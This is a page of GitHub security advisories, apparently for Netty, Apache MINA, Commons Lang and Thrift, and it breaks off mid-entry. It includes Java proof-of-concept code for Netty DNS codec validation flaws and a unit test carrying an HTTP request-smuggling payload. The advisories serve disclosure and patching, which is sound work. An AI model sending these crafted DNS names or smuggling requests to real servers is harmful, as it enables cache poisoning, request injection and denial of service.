"details": "# Security Vulnerability Report: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder)\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-dns) |\n| **Component** | `io.netty.handler.codec.dns.DnsCodecUtil` |\n| **Vulnerability Type** | CWE-20: Improper Input Validation / CWE-626: Null Byte Interaction Error / CWE-400: Uncontrolled Resource Consumption |\n| **Impact** | DNS Cache Poisoning / Domain Validation Bypass / Denial of Service / Malformed DNS Packets |\n\n## 2. Affected Components\n\nBoth the encoder and decoder in the same file are affected:\n\n- `io.netty.handler.codec.dns.DnsCodecUtil` \u2014 `encodeDomainName()` method (lines 31-51):\n - No null byte validation in domain name labels\n - No per-label length validation (RFC 1035 max: 63 bytes)\n - No total domain name length validation (RFC 1035 max: 255 bytes)\n - Empty labels silently truncate the domain name\n\n- `io.netty.handler.codec.dns.DnsCodecUtil` \u2014 `decodeDomainName()` method (lines 53-118):\n - No per-label length validation (max 63)\n - No total domain name length validation (max 255)\n - Unbounded StringBuilder growth from attacker-controlled DNS responses\n\n## 3. Vulnerability Description\n\nNetty\u0027s DNS codec does **not enforce RFC 1035 domain name constraints** during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder.\n\n### 3.1 Encoder Side \u2014 Null Byte Injection (CWE-626)\n\nA domain name containing a null byte (e.g., `\"evil\\0.example.com\"`) is encoded with the null byte embedded in the label data. This creates a domain name that different DNS implementations interpret differently:\n\n- **Java (full string)**: sees `\"evil\\0.example.com\"` as a single label containing a null\n- **C/native DNS libraries**: truncate at the null byte, seeing only `\"evil\"`\n- **DNS servers**: may accept or reject based on implementation\n\nThis differential interpretation enables **DNS cache poisoning** and **domain validation bypass**.\n\n### 3.2 Encoder Side \u2014 Overlength Label (RFC 1035 Violation)\n\nLabels exceeding 63 bytes are accepted by the encoder. The length byte is written as a single unsigned byte, so a 200-byte label writes `0xC8` (200) as the length. Per RFC 1035, values 192-255 indicate **compression pointers**. This means:\n\n- A 200-byte label length `0xC8` would be interpreted as a **compression pointer** by standards-compliant DNS parsers\n- This creates **parser confusion** between label and pointer interpretation\n\n### 3.3 Encoder Side \u2014 Silent Truncation via Empty Labels\n\n```java\nencodeDomainName(\"a..b.com\", buf);\n// Encodes as: [01] \u0027a\u0027 [00]\n// Only \"a.\" is encoded, \".b.com\" is silently dropped!\n```\n\nAn attacker can craft input like `\"safe-domain..evil.com\"` which gets truncated to just `\"safe-domain.\"`, potentially bypassing domain allowlists.\n\n### 3.4 Decoder Side \u2014 Unbounded Memory Allocation\n\nThe decoder accepts labels of any length (0-255 bytes) without checking the RFC 1035 per-label limit of 63 bytes or the total domain name limit of 255 bytes. A malicious DNS server can return responses with oversized labels, causing excessive memory allocation.\n\n### Root Cause \u2014 Encoder\n\n```java\n// DnsCodecUtil.java:31-51\nstatic void encodeDomainName(String name, ByteBuf buf) {\n if (ROOT.equals(name)) {\n buf.writeByte(0);\n return;\n }\n final String[] labels = name.split(\"\\\\.\");\n for (String label : labels) {\n final int labelLen = label.length();\n if (labelLen == 0) {\n break; // NO ERROR - silently truncates!\n }\n // NO check: labelLen \u003e 63\n // NO check: label contains null bytes\n // NO check: total name \u003e 255 bytes\n buf.writeByte(labelLen); // Can write values \u003e 63!\n ByteBufUtil.writeAscii(buf, label); // Null bytes pass through!\n }\n buf.writeByte(0);\n}\n```\n\n### Root Cause \u2014 Decoder\n\n```java\n// DnsCodecUtil.java:94-99 (decodeDomainName)\n} else if (len != 0) {\n if (!in.isReadable(len)) { // Only checks if bytes EXIST, not if len \u003c= 63\n throw new CorruptedFrameException(\"truncated label in a name\");\n }\n name.append(in.toString(in.readerIndex(), len, CharsetUtil.UTF_8)).append(\u0027.\u0027);\n // ^^^^^^ StringBuilder grows WITHOUT any length limit\n in.skipBytes(len);\n}\n```\n\n**Missing checks in decoder**:\n- No `if (len \u003e 63)` check per RFC 1035 Section 2.3.4\n- No `if (name.length() \u003e 255)` check for total domain name length\n\n## 4. Exploitability Prerequisites\n\n### Encoder Side (outbound)\n1. An application constructs DNS queries using Netty\u0027s DNS codec with user-influenced domain names\n2. The constructed DNS packets are sent to DNS servers or resolvers\n\n### Decoder Side (inbound)\n1. An application uses Netty\u0027s `codec-dns` or `resolver-dns` module to process DNS responses\n2. The application communicates with a malicious or compromised DNS server\n\n**Attack surface**: Any Netty application using DNS resolution (`DnsNameResolver`) is potentially affected on the decoder side, as DNS responses from the network are attacker-controlled. The encoder side requires user-controlled hostnames.\n\n## 5. Attack Scenarios\n\n### Scenario 1: DNS Cache Poisoning via Null Byte (Encoder)\n\n```java\nString hostname = userInput; // \"evil\\0.trusted.com\"\nDnsQuery query = new DefaultDnsQuery(...)\n .addRecord(DnsSection.QUESTION,\n new DefaultDnsQuestion(hostname, DnsRecordType.A));\n```\n\nThe DNS query for `\"evil\\0.trusted.com\"` may be interpreted by some resolvers as a query for `\"evil\"` (truncated at null). If the attacker controls the DNS for `\"evil\"`, they can return a response that gets cached for `\"evil\\0.trusted.com\"` (or vice versa), poisoning the cache.\n\n### Scenario 2: Label/Pointer Confusion (Encoder)\n\nA 200-byte label writes length byte `0xC8`. Standards-compliant parsers interpret `0xC0-0xFF` as **compression pointer** prefixes (RFC 1035 Section 4.1.4). The resulting DNS packet is structurally ambiguous:\n\n```\nByte: [C8] [61 61 61 ... (200 bytes)]\n \u2191\n Label interpretation: 200-byte label starting with \u0027a\u0027\n Pointer interpretation: pointer to offset 0x0861 = 2145\n```\n\n### Scenario 3: Memory Exhaustion via Large Labels (Decoder)\n\nA malicious DNS server returns a response with a 255-byte label (RFC limit: 63). Netty decodes it without error, creating a 260+ character String. With compression pointers, a small DNS response can cause megabytes of StringBuilder allocation.\n\n### Scenario 4: Domain Truncation via Empty Label (Encoder)\n\n```java\nencodeDomainName(\"safe-domain..evil.com\", buf);\n// Only \"safe-domain.\" is encoded, \"evil.com\" silently dropped\n```\n\nThis can bypass domain allowlists that check the input string.\n\n### Scenario 5: Downstream Processing Failures (Decoder)\n\nApplications that pass decoded domain names to other DNS libraries, certificate validators, or URL parsers may crash or behave incorrectly when receiving names \u003e 255 bytes, as these systems typically assume RFC 1035 compliance.\n\n## 6. Proof of Concept\n\n### PoC 1: Encoder Null Byte and Overlength (DnsEncoderNullBytePoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport java.lang.reflect.Method;\nimport java.nio.charset.StandardCharsets;\n\npublic class DnsEncoderNullBytePoC {\n public static void main(String[] args) throws Exception {\n System.out.println(\"=== Netty DNS Encoder Validation Bypass PoC ===\\n\");\n\n Class\u003c?\u003e clazz = Class.forName(\"io.netty.handler.codec.dns.DnsCodecUtil\");\n Method encode = clazz.getDeclaredMethod(\"encodeDomainName\",\n String.class, ByteBuf.class);\n encode.setAccessible(true);\n\n // Test 1: Null byte in domain name\n ByteBuf buf = Unpooled.buffer(256);\n encode.invoke(null, \"evil\\0.example.com\", buf);\n byte[] bytes = new byte[buf.readableBytes()];\n buf.readBytes(bytes);\n buf.release();\n System.out.print(\"[TEST 1] Null byte - Encoded: \");\n for (byte b : bytes) System.out.printf(\"%02x \", b \u0026 0xff);\n System.out.println(\"\\nVULNERABLE: Null byte 0x00 in label data!\");\n\n // Test 2: 200-byte label\n ByteBuf buf2 = Unpooled.buffer(512);\n encode.invoke(null, \"a\".repeat(200) + \".com\", buf2);\n System.out.println(\"\\n[TEST 2] 200-byte label encoded: \" + buf2.readableBytes() + \" bytes\");\n System.out.println(\"VULNERABLE: Overlength label accepted!\");\n buf2.release();\n\n // Test 3: Empty label truncation\n ByteBuf buf3 = Unpooled.buffer(256);\n encode.invoke(null, \"a..b.com\", buf3);\n byte[] bytes3 = new byte[buf3.readableBytes()];\n buf3.readBytes(bytes3);\n buf3.release();\n System.out.print(\"\\n[TEST 3] Empty label - Encoded: \");\n for (byte b : bytes3) System.out.printf(\"%02x \", b \u0026 0xff);\n System.out.println(\"\\nVULNERABLE: Domain silently truncated!\");\n }\n}\n```\n\n### PoC 2: Decoder Length Bypass (DnsDecoderLengthPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport java.lang.reflect.Method;\nimport java.nio.charset.StandardCharsets;\n\npublic class DnsDecoderLengthPoC {\n public static void main(String[] args) throws Exception {\n System.out.println(\"=== Netty DNS Decoder Length Bypass PoC ===\\n\");\n\n Class\u003c?\u003e clazz = Class.forName(\"io.netty.handler.codec.dns.DnsCodecUtil\");\n Method decode = clazz.getDeclaredMethod(\"decodeDomainName\", ByteBuf.class);\n decode.setAccessible(true);\n\n // Test 1: 100-byte label (RFC limit: 63)\n ByteBuf buf1 = Unpooled.buffer(256);\n buf1.writeByte(100);\n buf1.writeBytes(\"a\".repeat(100).getBytes(StandardCharsets.US_ASCII));\n buf1.writeByte(3);\n buf1.writeBytes(\"com\".getBytes(StandardCharsets.US_ASCII));\n buf1.writeByte(0);\n String r1 = (String) decode.invoke(null, buf1);\n buf1.release();\n System.out.println(\"[TEST 1] 100-byte label: length=\" + r1.length() +\n \" VULNERABLE=\" + (r1.length() \u003e 64));\n\n // Test 2: 5 x 60-byte labels = 305 bytes (RFC limit: 255)\n ByteBuf buf2 = Unpooled.buffer(512);\n for (int i = 0; i \u003c 5; i++) {\n buf2.writeByte(60);\n buf2.writeBytes(String.valueOf((char)(\u0027a\u0027+i)).repeat(60)\n .getBytes(StandardCharsets.US_ASCII));\n }\n buf2.writeByte(0);\n String r2 = (String) decode.invoke(null, buf2);\n buf2.release();\n System.out.println(\"[TEST 2] 305-byte domain: length=\" + r2.length() +\n \" VULNERABLE=\" + (r2.length() \u003e 255));\n }\n}\n```\n\n### How to Compile and Run\n\n```bash\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n | grep -v sources | grep -v javadoc | tr \u0027\\n\u0027 \u0027:\u0027)\n\n# Encoder PoC\njavac -cp \"$JARS\" DnsEncoderNullBytePoC.java\njava --add-opens java.base/java.lang=ALL-UNNAMED -cp \"$JARS:.\" DnsEncoderNullBytePoC\n\n# Decoder PoC\njavac -cp \"$JARS\" DnsDecoderLengthPoC.java\njava --add-opens java.base/java.lang=ALL-UNNAMED -cp \"$JARS:.\" DnsDecoderLengthPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n**Encoder PoC:**\n```\n=== Netty DNS Encoder Validation Bypass PoC ===\n\n[TEST 1] Null byte in domain name\n Input: \"evil\\0.example.com\"\n Encoded bytes: 05 65 76 69 6c 00 07 65 78 61 6d 70 6c 65 03 63 6f 6d 00\n Null byte in label data: true\n VULNERABLE: YES - Null byte accepted!\n\n[TEST 2] Label \u003e 63 bytes in encoder\n Input: \"aaaaaa...\" (200-char label)\n Encoded bytes: 206\n VULNERABLE: YES - Overlength label accepted in encoder!\n\n[TEST 3] Empty labels (consecutive dots)\n Input: \"a..b.com\"\n Encoded bytes: 01 61 00\n Note: Empty label truncates the name (may lose data)\n```\n\n**Decoder PoC:**\n```\n=== Netty DNS Decoder Length Bypass PoC ===\n\n[TEST 1] Label \u003e 63 bytes (RFC 1035 violation)\n Label length: 100 bytes (RFC limit: 63)\n Decoded name length: 105\n VULNERABLE: YES - Label \u003e 63 bytes accepted!\n\n[TEST 2] Domain \u003e 255 bytes via multiple labels\n 5 labels x 60 bytes = 300+ bytes total\n RFC 1035 limit: 255 bytes\n Decoded name length: 305\n VULNERABLE: YES - Domain \u003e 255 bytes accepted!\n```\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Integrity** | HIGH \u2014 Null byte injection causes differential interpretation across DNS implementations |\n| **Availability** | HIGH \u2014 Malicious DNS responses can cause unbounded memory allocation via decoder |\n| **DNS Cache Poisoning** | Different parsers see different domain names from the same encoded packet |\n| **Domain Validation Bypass** | Null bytes can bypass allowlist/blocklist checks in DNS proxies |\n| **Label/Pointer Confusion** | Length bytes \u003e 63 conflict with RFC 1035 compression pointer encoding |\n| **Silent Truncation** | Empty labels silently drop the remainder of the domain name |\n| **Downstream Failures** | Oversized domain names may crash certificate validators, URL parsers, or other DNS-aware libraries |\n\n## 8. Remediation Recommendations\n\n### Fix for Encoder (encodeDomainName)\n\n```java\nstatic void encodeDomainName(String name, ByteBuf buf) {\n if (ROOT.equals(name)) {\n buf.writeByte(0);\n return;\n }\n int totalLength = 0;\n final String[] labels = name.split(\"\\\\.\");\n for (String label : labels) {\n final int labelLen = label.length();\n if (labelLen == 0) {\n throw new IllegalArgumentException(\"DNS name contains empty label: \" + name);\n }\n if (labelLen \u003e 63) {\n throw new IllegalArgumentException(\n \"DNS label length \" + labelLen + \" exceeds maximum of 63: \" + name);\n }\n for (int i = 0; i \u003c label.length(); i++) {\n if (label.charAt(i) == \u0027\\0\u0027) {\n throw new IllegalArgumentException(\n \"DNS label contains null byte at index \" + i);\n }\n }\n totalLength += 1 + labelLen;\n if (totalLength \u003e 254) {\n throw new IllegalArgumentException(\n \"DNS name exceeds maximum length of 255: \" + name);\n }\n buf.writeByte(labelLen);\n ByteBufUtil.writeAscii(buf, label);\n }\n buf.writeByte(0);\n}\n```\n\n### Fix for Decoder (decodeDomainName)\n\n```java\n// Add after \"} else if (len != 0) {\":\nif (len \u003e 63) {\n throw new CorruptedFrameException(\"DNS label length \" + len + \" exceeds maximum of 63\");\n}\n// Add after \"name.append(...)\":\nif (name.length() \u003e 255) {\n throw new CorruptedFrameException(\"DNS domain name length exceeds maximum of 255\");\n}\n```\n\n## 9. Resources\n\n- [RFC 1035 Section 2.3.4: Size Limits](https://tools.ietf.org/html/rfc1035#section-2.3.4)\n- [RFC 1035 Section 4.1.4: Message Compression](https://tools.ietf.org/html/rfc1035#section-4.1.4)\n- [CWE-20: Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)\n- [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html)\n- [CWE-626: Null Byte Interaction Error](https://cwe.mitre.org/data/definitions/626.html)",
"id": "GHSA-cm33-6792-r9fm",
"modified": "2026-05-14T20:40:58Z",
"published": "2026-05-07T00:12:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-cm33-6792-r9fm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42579"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://tools.ietf.org/html/rfc1035#section-2.3.4"
},
{
"type": "WEB",
"url": "https://tools.ietf.org/html/rfc1035#section-4.1.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty has a DNS Codec Input Validation Bypass (Encoder + Decoder)"
}
GHSA-38F8-5428-X5CV
Vulnerability from github – Published: 2026-05-07 00:22 – Updated: 2026-05-14 20:41Summary
Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.
Details
Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present. According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length
" If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection. "
A possible scenario is when Netty is behind a proxy that doesn't reject requests with "Transfer-Encoding: chunked, identity", but prefers "Content-Length" and forwards the content to Netty.
PoC
The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.
@Test
public void test() {
String requestStr = "POST / HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Transfer-Encoding: chunked, identity\r\n" +
"Content-Length: 48\r\n" +
"\r\n" +
"0\r\n" +
"\r\n" +
"GET /smuggled HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"\r\n";
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));
// Request 1
HttpRequest request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
assertTrue(request.headers().contains("Transfer-Encoding"));
assertFalse(request.headers().contains("Content-Length"));
LastHttpContent last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
// Request 2
request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
}
Impact
HTTP Request Smuggling: Attacker injects arbitrary HTTP requests
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42585"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:22:27Z",
"nvd_published_at": "2026-05-13T19:17:24Z",
"severity": "MODERATE"
},
"details": "### Summary\nNetty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.\n\n### Details\nNetty incorrectly marks a request as chunked when malformed \"Transfer-Encoding: chunked, identity\" is present.\nAccording to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length\n\n\"\nIf a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding,\n the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request)\n status code and then close the connection.\n\"\n\nA possible scenario is when Netty is behind a proxy that doesn\u0027t reject requests with \"Transfer-Encoding: chunked, identity\", but prefers \"Content-Length\" and forwards the content to Netty.\n\n### PoC\nThe test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.\n\n```java\n@Test\n public void test() {\n String requestStr = \"POST / HTTP/1.1\\r\\n\" +\n \"Host: localhost\\r\\n\" +\n \"Transfer-Encoding: chunked, identity\\r\\n\" +\n \"Content-Length: 48\\r\\n\" +\n \"\\r\\n\" +\n \"0\\r\\n\" +\n \"\\r\\n\" +\n \"GET /smuggled HTTP/1.1\\r\\n\" +\n \"Host: localhost\\r\\n\" +\n \"\\r\\n\";\n\n EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());\n assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));\n\n // Request 1\n HttpRequest request = channel.readInbound();\n assertTrue(request.decoderResult().isSuccess());\n assertTrue(request.headers().contains(\"Transfer-Encoding\"));\n assertFalse(request.headers().contains(\"Content-Length\"));\n LastHttpContent last = channel.readInbound();\n assertTrue(last.decoderResult().isSuccess());\n last.release();\n\n // Request 2\n request = channel.readInbound();\n assertTrue(request.decoderResult().isSuccess());\n last = channel.readInbound();\n assertTrue(last.decoderResult().isSuccess());\n last.release();\n }\n```\n\n### Impact\nHTTP Request Smuggling: Attacker injects arbitrary HTTP requests",
"id": "GHSA-38f8-5428-x5cv",
"modified": "2026-05-14T20:41:21Z",
"published": "2026-05-07T00:22:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-38f8-5428-x5cv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42585"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty vulnerable to HTTP Request Smuggling due to malformed Transfer-Encoding"
}
GHSA-F2WH-GRMH-R6JM
Vulnerability from github – Published: 2026-04-27 12:30 – Updated: 2026-05-05 21:38The fix for CVE-2024-52046 in Apache MINA AbstractIoBuffer.getObject() was incomplete. The classname allowlist of classes allowed to be deserialized was applied too late after a static initializer in a class to be read might already have been executed.
Affected versions are Apache MINA 2.0.0 <= 2.0.27, 2.1.0 <= 2.1.10, and 2.2.0 <= 2.2.5.
The problem is resolved in Apache MINA 2.0.28, 2.1.11, and 2.2.6 by applying the classname allowlist earlier.
Affected are applications using Apache MINA that call IoBuffer.getObject().
Applications using Apache MINA are advised to upgrade
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.mina:mina-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.0.28"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.mina:mina-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.1.0"
},
{
"fixed": "2.1.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.mina:mina-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.2.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41409"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T21:38:39Z",
"nvd_published_at": "2026-04-27T10:16:09Z",
"severity": "CRITICAL"
},
"details": "The fix for CVE-2024-52046 in Apache MINA AbstractIoBuffer.getObject() was incomplete. The classname allowlist of classes allowed to be deserialized was applied too late after a static initializer in a class to be read might already have been executed.\n\nAffected versions are Apache MINA 2.0.0 \u003c= 2.0.27, 2.1.0 \u003c= 2.1.10, and 2.2.0 \u003c= 2.2.5.\n\nThe problem is resolved in Apache MINA 2.0.28, 2.1.11, and 2.2.6 by applying the classname allowlist earlier.\n\nAffected are applications using Apache MINA that call IoBuffer.getObject().\n\nApplications using Apache MINA are advised to upgrade",
"id": "GHSA-f2wh-grmh-r6jm",
"modified": "2026-05-05T21:38:39Z",
"published": "2026-04-27T12:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41409"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-76h9-2vwh-w278"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/mina"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/9ddvsq6c4l5bhwq8l14sob4f8qjvx5c9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Apache MINA Vulnerable to Deserialization of Untrusted Data (CVE-2024-52046 Incomplete Fix)"
}
GHSA-J288-Q9X7-2F5V
Vulnerability from github – Published: 2025-07-11 15:31 – Updated: 2025-11-05 20:30Uncontrolled Recursion vulnerability in Apache Commons Lang.
This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0.
The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop.
Users are recommended to upgrade to version 3.18.0, which fixes the issue.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.commons:commons-lang3"
},
"ranges": [
{
"events": [
{
"introduced": "3.0"
},
{
"fixed": "3.18.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "commons-lang:commons-lang"
},
"ranges": [
{
"events": [
{
"introduced": "2.0"
},
{
"last_affected": "2.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-48924"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-12T00:48:03Z",
"nvd_published_at": "2025-07-11T15:15:24Z",
"severity": "MODERATE"
},
"details": "Uncontrolled Recursion vulnerability in Apache Commons Lang.\n\nThis issue affects Apache Commons Lang: Starting with\u00a0commons-lang:commons-lang\u00a02.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before\u00a03.18.0.\n\nThe methods ClassUtils.getClass(...) can throw\u00a0StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could\u00a0cause an application to stop.\n\nUsers are recommended to upgrade to version 3.18.0, which fixes the issue.",
"id": "GHSA-j288-q9x7-2f5v",
"modified": "2025-11-05T20:30:31Z",
"published": "2025-07-11T15:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48924"
},
{
"type": "WEB",
"url": "https://github.com/apache/commons-lang/commit/b424803abdb2bec818e4fbcb251ce031c22aca53"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/commons-lang"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/bgv0lpswokgol11tloxnjfzdl7yrc1g1"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/08/msg00000.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/08/msg00026.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00032.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00036.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/07/11/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Apache Commons Lang is vulnerable to Uncontrolled Recursion when processing long inputs"
}
GHSA-VX85-MJ8C-4QM6
Vulnerability from github – Published: 2019-01-17 13:56 – Updated: 2023-09-11 18:30The Apache Thrift Node.js static web server in versions 0.9.2 through 0.11.0 have been determined to contain a security vulnerability in which a remote user has the ability to access files outside the set webservers docroot path.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.thrift:libthrift"
},
"ranges": [
{
"events": [
{
"introduced": "0.9.2"
},
{
"fixed": "0.12.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-11798"
],
"database_specific": {
"cwe_ids": [
"CWE-538"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:58:46Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "The Apache Thrift Node.js static web server in versions 0.9.2 through 0.11.0 have been determined to contain a security vulnerability in which a remote user has the ability to access files outside the set webservers docroot path.",
"id": "GHSA-vx85-mj8c-4qm6",
"modified": "2023-09-11T18:30:27Z",
"published": "2019-01-17T13:56:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-11798"
},
{
"type": "WEB",
"url": "https://github.com/apache/thrift/pull/1606"
},
{
"type": "WEB",
"url": "https://github.com/apache/thrift/commit/2a2b72f6c8aef200ecee4984f011e06052288ff2"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:1545"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:3140"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-vx85-mj8c-4qm6"
},
{
"type": "WEB",
"url": "https://issues.apache.org/jira/browse/THRIFT-4647"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/6e9edd282684896cedf615fb67a02bebfe6007f2d5baf03ba52e34fd@%3Cuser.thrift.apache.org%3E"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20200227094236/http://www.securityfocus.com/bid/106501"
},
{
"type": "WEB",
"url": "https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Apache Thrift Node.js static web server sandbox escape"
}
GHSA-269Q-HMXG-M83Q
Vulnerability from github – Published: 2022-05-10 08:46 – Updated: 2022-05-10 08:46Description
GHSA-5mcr-gq6c-3hq2 (CVE-2021-21290) contains an insufficient fix for the vulnerability identified.
Impact
When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled.
This only impacts applications running on Java version 6 and lower. Additionally, this vulnerability impacts code running on Unix-like systems, and very old versions of Mac OSX and Windows as they all share the system temporary directory between all users.
Vulnerability Details
To fix the vulnerability the code was changed to the following:
@SuppressJava6Requirement(reason = "Guarded by version check")
public static File createTempFile(String prefix, String suffix, File directory) throws IOException {
if (javaVersion() >= 7) {
if (directory == null) {
return Files.createTempFile(prefix, suffix).toFile();
}
return Files.createTempFile(directory.toPath(), prefix, suffix).toFile();
}
if (directory == null) {
return File.createTempFile(prefix, suffix);
}
File file = File.createTempFile(prefix, suffix, directory);
// Try to adjust the perms, if this fails there is not much else we can do...
file.setReadable(false, false);
file.setReadable(true, true);
return file;
}
Unfortunately, this logic path was left vulnerable:
if (directory == null) {
return File.createTempFile(prefix, suffix);
}
This file is still readable by all local users.
Patches
Update to 4.1.77.Final
Workarounds
